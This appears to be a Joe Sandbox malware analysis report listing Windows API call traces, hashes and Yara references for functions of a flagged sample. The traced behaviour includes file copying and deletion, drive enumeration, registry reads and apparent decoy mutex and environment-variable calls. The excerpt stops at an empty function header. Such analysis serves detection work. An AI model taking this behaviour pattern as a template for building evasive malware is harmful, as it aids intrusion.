LocalFree.KERNEL32(00000000), ref: 0040C384
LocalFree.KERNEL32(00000000), ref: 0040C393

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrlen$Alloc$lstrcmpi
String ID:
API String ID: 1419103322-0
Opcode ID: bd7c9ab584c3d6c135f6a3df7ddb407b61a48b7a7a3d395cd3ea28752a8c47d0
Instruction ID: 094fc1cfb538dde46be6be41547aaebade7b85962182e4e471612cbf25b41b25
Opcode Fuzzy Hash: bd7c9ab584c3d6c135f6a3df7ddb407b61a48b7a7a3d395cd3ea28752a8c47d0
Instruction Fuzzy Hash: 30813671A04206EBDB109FB5DC89AAF7FB5BF48701F14C57AE905F3291DB3899018B68

Function 00402A35 Relevance: 30.1, APIs: 20, Instructions: 136memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000000,00000000,?,?,00402D08,?,?,?,00000000), ref: 00402A4F
LocalAlloc.KERNEL32(00000040,00000208,?,?,00402D08,?,?,?,00000000), ref: 00402A61
PathCombineW.SHLWAPI(00000000,?,?,?,?,00402D08,?,?,?,00000000), ref: 00402A74
StrCpyW.SHLWAPI(?,?), ref: 00402A83
PathCombineW.SHLWAPI(00000000,?,?,?,00402D08,?,?,?,00000000), ref: 00402A96
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00402D08,?,?,?,00000000), ref: 00402AA9
GetFileSize.KERNEL32(00000000,00000000,?,?,00402D08,?,?,?,00000000), ref: 00402AB4
LocalAlloc.KERNEL32(00000040,00000000,?,?,00402D08,?,?,?,00000000), ref: 00402AC0
ReadFile.KERNEL32(?,00000000,00402D07,?,00000000,?,?,00402D08,?,?,?,00000000), ref: 00402AD9
LocalAlloc.KERNEL32(00000040,00402D08,?,?,00402D08,?,?,?,00000000), ref: 00402AF2
lstrlenW.KERNEL32(00402D08,?,?,00402D08,?,?,?,00000000), ref: 00402B19
StrCpyW.SHLWAPI(?,00402D08), ref: 00402B2B
LocalFree.KERNEL32(00402D08,?,?,00402D08,?,?,?,00000000), ref: 00402B36
LocalAlloc.KERNEL32(00000040,?,?,?,00402D08,?,?,?,00000000), ref: 00402B41
StrCpyW.SHLWAPI(?,00402D08), ref: 00402B72
LocalFree.KERNELBASE(00402D08,?,?,00402D08,?,?,?,00000000), ref: 00402B7B
CloseHandle.KERNEL32(?,?,?,00402D08,?,?,?,00000000), ref: 00402B8D
LocalFree.KERNEL32(00000000,?,?,00402D08,?,?,?,00000000), ref: 00402B94
LocalFree.KERNEL32(?,?,?,00402D08,?,?,?,00000000), ref: 00402B9D
LocalFree.KERNEL32(00000000,?,?,00402D08,?,?,?,00000000), ref: 00402BA4

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFree$File$CombinePath$CloseCreateHandleReadSizelstrlen
String ID:
API String ID: 2644867335-0
Opcode ID: d2ba7098be2ebc951877aee03599e842c28b0edf90a84ba1b3d1539d94be27a4
Instruction ID: 5c1ba8a2100f2a95d2d903070d78419690358c93b04db09508d7523211b023b0
Opcode Fuzzy Hash: d2ba7098be2ebc951877aee03599e842c28b0edf90a84ba1b3d1539d94be27a4
Instruction Fuzzy Hash: 84412D75544209EFDB019FA0ED49AAF7FB9EB48300F10807AFA01A3250D7749D118B68

Function 004044BD Relevance: 27.2, APIs: 18, Instructions: 186libraryloaderfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000228,00000000,?,?,00000000,?,?,?,00000000), ref: 004044D0
PathCombineW.SHLWAPI(00000000,?,?,?,?,00000000), ref: 004044F1
GetProcAddress.KERNEL32(?), ref: 00404501
GetProcAddress.KERNEL32(?), ref: 00404513
GetProcAddress.KERNEL32(?), ref: 00404525
GetProcAddress.KERNEL32(?), ref: 00404537
GetProcAddress.KERNEL32(?), ref: 00404549
GetProcAddress.KERNEL32(?), ref: 0040455B
GetProcAddress.KERNEL32(?), ref: 0040456D
GetProcAddress.KERNEL32(?), ref: 0040457F
LocalAlloc.KERNEL32(00000040,00000208,?,?,?,00000000), ref: 00404591

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000000), ref: 004045B3
lstrlenW.KERNEL32(00000000), ref: 0040466D
lstrlenW.KERNEL32(?), ref: 00404695
DeleteFileW.KERNEL32(?), ref: 004046F3
DeleteFileW.KERNEL32(?,?,?,?,00000000), ref: 00404703
LocalFree.KERNEL32(?,?,?,?,00000000), ref: 0040470A
LocalFree.KERNEL32(?,?,?,?,00000000), ref: 00404713

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc$Local$Create$File$AllocMutex$EventFreeRelease$CloseDeleteFindSemaphoreTimerWaitablelstrlen$CancelCombineCopyDebugEnvironmentErrorFirstHandleLastMappingOpenOutputPathResetStringVariable
String ID:
API String ID: 3292038649-0
Opcode ID: 80e75893723a281f7d443173b75497e0d9001aeb1c7238398ab4cc1d8290b10d
Instruction ID: 450ae6ac5ee1d223745c223e871dd632ea8e086fb62ce24fcece48ce4f266491
Opcode Fuzzy Hash: 80e75893723a281f7d443173b75497e0d9001aeb1c7238398ab4cc1d8290b10d
Instruction Fuzzy Hash: 8E617971908214FFDB115FA0EC48AEE7F76FB49311B10C576FA15A62A0EB398A408F5C

Function 00407E2E Relevance: 24.2, APIs: 16, Instructions: 168memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,?,00000000,00000000), ref: 00407E4F
LocalAlloc.KERNEL32(00000040,00000208), ref: 00407E5A
PathCombineW.SHLWAPI(00000000,?), ref: 00407E6D

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CopyFileW.KERNEL32(00000000,004074D7,00000000), ref: 00407E8F
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004074D7), ref: 00407ED0
LocalAlloc.KERNEL32(00000040,00004000), ref: 00407F5D
lstrcmpW.KERNEL32(?,00000000,00000000,00000000), ref: 00407F72
wsprintfW.USER32 ref: 00407F98
lstrlenW.KERNEL32 ref: 00407FA9
LocalFree.KERNEL32(?), ref: 00407FC6
DeleteFileW.KERNEL32(004074D7), ref: 00407FFF
LocalFree.KERNEL32(004074D7), ref: 0040800A
LocalFree.KERNEL32(00000000), ref: 00408015
LocalFree.KERNEL32(00000000), ref: 00408021
DeleteFileW.KERNEL32(004074D7), ref: 00408028
LocalFree.KERNEL32(004074D7), ref: 0040802F

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Free$Create$AllocFile$Mutex$EventRelease$CloseDeleteFindSemaphoreTimerWaitable$CancelCombineCopyDebugEnvironmentErrorFirstHandleLastMappingOpenOutputPathResetStringVariablelstrcmplstrlenwsprintf
String ID:
API String ID: 1251275307-0
Opcode ID: fe76a9e4bec01fd4f8db68734f24b5f32a7764ff8660b702b13408e3829da42c
Instruction ID: 76345e2ad7252befd7ebcb22e462a6bdd3ae103d152d3ae00c0c92a2e8640389
Opcode Fuzzy Hash: fe76a9e4bec01fd4f8db68734f24b5f32a7764ff8660b702b13408e3829da42c
Instruction Fuzzy Hash: 6E513C71908205FFDB115FA0ED49AEE7FB9FF08311F10C0B5FA06A62A1DB3599009B68

Function 0041104C Relevance: 22.7, APIs: 15, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00001000,76229350,?,75B4EC10), ref: 0041106B
LocalFree.KERNEL32(00000000), ref: 0041108C
LocalAlloc.KERNEL32(00000040,00000410), ref: 004110A1
GetLogicalDriveStringsW.KERNEL32(00000208,00000000), ref: 004110B2
LocalAlloc.KERNEL32(00000040,00000208), ref: 0041114E
LocalAlloc.KERNEL32(00000040,00000208), ref: 0041115D
StrCpyW.SHLWAPI(00000000), ref: 00411179
LocalAlloc.KERNEL32(00000040,00000184), ref: 004111AE

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Alloc$DriveFreeLogicalStrings
String ID:
API String ID: 4183962003-0
Opcode ID: fdc08b2841122816063793a2163d4ba54a1388d53141d7d5c88f336c2ab8ed60
Instruction ID: 4098ae87987c2d6ed3f0282fa18bfa06f612ad7a09366520e5d92b9cea771ea4
Opcode Fuzzy Hash: fdc08b2841122816063793a2163d4ba54a1388d53141d7d5c88f336c2ab8ed60
Instruction Fuzzy Hash: 0D5188B1E00215AFDB109BA5CC45AFFBBB9EF48310F108566FA15F7290EA748D418B69

Function 004084F9 Relevance: 19.6, APIs: 13, Instructions: 134filememoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,?,00000000,00000000), ref: 00408516
LocalAlloc.KERNEL32(00000040,00000208), ref: 00408521
PathCombineW.SHLWAPI(00000000,?), ref: 00408534

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CopyFileW.KERNEL32(00000000,00000000,00000000), ref: 00408553
LocalFree.KERNEL32(00000000), ref: 00408598
DeleteFileW.KERNEL32(00000000,004074D7), ref: 0040865F
LocalFree.KERNEL32(00000000), ref: 0040866A
LocalFree.KERNEL32(00000000), ref: 00408675
LocalFree.KERNEL32(00000000), ref: 00408681
DeleteFileW.KERNEL32(00000000), ref: 00408688
LocalFree.KERNEL32(00000000), ref: 0040868F

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$CreateFree$File$AllocMutex$EventRelease$CloseDeleteFindSemaphoreTimerWaitable$CancelCombineCopyDebugEnvironmentErrorFirstHandleLastMappingOpenOutputPathResetStringVariable
String ID:
API String ID: 2505216498-0
Opcode ID: fe077e3f1761079783d2dd88e6691e05d6c645c608a6dac65c20d76d48e29dd2
Instruction ID: 394fba6246266930dddb16a4c17e550c6cabfc98b02ba1ecbf1603ee9ddfa5b1
Opcode Fuzzy Hash: fe077e3f1761079783d2dd88e6691e05d6c645c608a6dac65c20d76d48e29dd2
Instruction Fuzzy Hash: AD413C31508204EFDB115F71ED49AEE3FB6EF49711F10C57AF905A62A0DB3A89018B59

Function 004052BA Relevance: 16.6, APIs: 10, Strings: 1, Instructions: 108memorystringCOMMON

Download Yara Rule

APIs

StrStrW.SHLWAPI(00000000,kllprcss_,76229350,76227CD0,75B4EC10), ref: 004052CB
StrStrW.SHLWAPI(-00000012), ref: 004052E1
StrStrW.SHLWAPI(75B4EC10), ref: 00405303
LocalAlloc.KERNEL32(00000040,00000800), ref: 00405312
LocalFree.KERNEL32(?), ref: 00405335
lstrlenW.KERNEL32(75B4EC10), ref: 0040534B
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040535B
StrStrW.SHLWAPI(?), ref: 0040536B
lstrlenW.KERNEL32(?), ref: 004053A1
LocalFree.KERNEL32(?), ref: 004053C7

Strings

kllprcss_, xrefs: 004052C3

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFreelstrlen
String ID: kllprcss_
API String ID: 3631127845-4223651432
Opcode ID: 3124cdae90737720f1026625154b6deda01e7985954c52d0b1ce18869e5be90e
Instruction ID: 6c175f7c8e4a65fc8c42ebfc12bf8336cc047a89c93cb30bc144713251067c28
Opcode Fuzzy Hash: 3124cdae90737720f1026625154b6deda01e7985954c52d0b1ce18869e5be90e
Instruction Fuzzy Hash: 4D31F432908712EBDB109B75DC48ADF7B75EB84380F104539E906B32C1DB789E059BE8

Function 0040DB2D Relevance: 15.1, APIs: 10, Instructions: 64registrymemorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000001,00000000,?,?,?,0040E459,?), ref: 0040DB43
LocalAlloc.KERNEL32(00000040,00000800,?,?,?,0040E459,?), ref: 0040DB52
RegOpenKeyExW.KERNELBASE(80000002,00000000,00020119,?,?,?,?,0040E459,?), ref: 0040DB71
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000104,?,?,?,0040E459,?), ref: 0040DB8B
RegCloseKey.KERNEL32(?,?,?,?,0040E459,?), ref: 0040DB94
lstrlenW.KERNEL32(00000000,?,?,?,0040E459,?), ref: 0040DB9B
LocalFree.KERNEL32(00000000,?,?,?,0040E459,?), ref: 0040DBA6
wsprintfW.USER32 ref: 0040DBB8

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

LocalFree.KERNEL32(00000000,?), ref: 0040DBD0
LocalFree.KERNEL32(00000000), ref: 0040DBD7

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocCreateFree$EnvironmentOpenVariablelstrlen$CloseEventMutexReleaseSemaphore$ChangeFileFindMappingNotificationQueryValuewsprintf
String ID:
API String ID: 2405090343-0
Opcode ID: 618ee0ff3e304f9407307c0564242312e81287f22664ff57c7b20ff140f14ff1
Instruction ID: 7f2316e7a43c2651643a7014e1f0592b203fa353ee85325cb48e631570020033
Opcode Fuzzy Hash: 618ee0ff3e304f9407307c0564242312e81287f22664ff57c7b20ff140f14ff1
Instruction Fuzzy Hash: CD116D72544314FFD7105BA1EC4EEDBBEBCEB49751B108075F606E21A1D6755900CB68

Function 00410803 Relevance: 10.6, APIs: 7, Instructions: 77stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,00000000,?,?,?,00411681), ref: 00410821
LocalAlloc.KERNEL32(00000040,00000000,?,?,00411681), ref: 00410831
StrStrW.SHLWAPI(00000000,00416594,?,?,00411681), ref: 00410840
PathMatchSpecW.SHLWAPI(?,00411681,?,?,00411681), ref: 00410869
lstrlenW.KERNEL32(00000000,?,?,00411681), ref: 00410880
PathMatchSpecW.SHLWAPI(?,00411681,?,?,00411681), ref: 0041089F
LocalFree.KERNEL32(00411681,?,?,00411681), ref: 004108B2

Part of subcall function 0040F7FA: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_mwlckks4,00000000,00000000,00000000,0040C192,00000000,00000000), ref: 0040F814
Part of subcall function 0040F7FA: SetEvent.KERNEL32(00000000), ref: 0040F81D
Part of subcall function 0040F7FA: ResetEvent.KERNEL32(00000000), ref: 0040F824
Part of subcall function 0040F7FA: SetEnvironmentVariableA.KERNEL32(9dn9ixt6,g80ghyj7), ref: 0040F83A
Part of subcall function 0040F7FA: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_xllvi1zq), ref: 0040F844
Part of subcall function 0040F7FA: OutputDebugStringA.KERNEL32(log: ad0nnw50), ref: 0040F851
Part of subcall function 0040F7FA: CancelWaitableTimer.KERNEL32(00000000), ref: 0040F862
Part of subcall function 0040F7FA: CreateMutexA.KERNEL32(00000000,00000000,MTXfv57b89w), ref: 0040F86D
Part of subcall function 0040F7FA: SetEnvironmentVariableA.KERNEL32(2nzstxud,rqosfwwo), ref: 0040F883
Part of subcall function 0040F7FA: ReleaseMutex.KERNEL32(00000000), ref: 0040F886
Part of subcall function 0040F7FA: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_dl2pyuqr), ref: 0040F896
Part of subcall function 0040F7FA: CancelWaitableTimer.KERNEL32(00000000), ref: 0040F89D
Part of subcall function 0040F7FA: GetLastError.KERNEL32 ref: 0040F8A5
Part of subcall function 0040F7FA: LocalAlloc.KERNEL32(00000000,00000798), ref: 0040F8AD
Part of subcall function 0040F7FA: LocalFree.KERNEL32(00000000), ref: 0040F8B4
Part of subcall function 0040F7FA: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLx9w8e9ar), ref: 0040F8C9
Part of subcall function 0040F7FA: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F8D5
Part of subcall function 0040F7FA: GetLastError.KERNEL32 ref: 0040F8D7
Part of subcall function 0040F7FA: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_f8nyo2d9), ref: 0040F8E4
Part of subcall function 0040F7FA: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040F8EA
Part of subcall function 0040F7FA: RegOpenKeyExA.KERNELBASE(80000001,regnnjwwep9,00000000,00020019,?), ref: 0040F904
Part of subcall function 0040F7FA: lstrlenW.KERNEL32(?), ref: 0040F90E
Part of subcall function 0040F7FA: LocalAlloc.KERNEL32(00000040,00000000), ref: 0040F91E

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$Local$SemaphoreTimerWaitable$AllocEventReleaselstrlen$CancelEnvironmentErrorFreeLastMatchMutexPathSpecVariable$DebugOpenOutputResetString
String ID:
API String ID: 4061864672-0
Opcode ID: ffa4110349239244cc4de8cc0ac1487e63b0ebee8bfcee2cd0a2b0eed4ac0de1
Instruction ID: 4260452c209aea1df85a60e0bd1520e40882f5cc1a1783441da157f82be84b2a
Opcode Fuzzy Hash: ffa4110349239244cc4de8cc0ac1487e63b0ebee8bfcee2cd0a2b0eed4ac0de1
Instruction Fuzzy Hash: C1218432A04315FBDB10AFBADC45BDE7BB9EF44750F104076E905E32A0DAB49E818694

Function 0040DECD Relevance: 10.6, APIs: 7, Instructions: 72memorystringCOMMON

Download Yara Rule

APIs

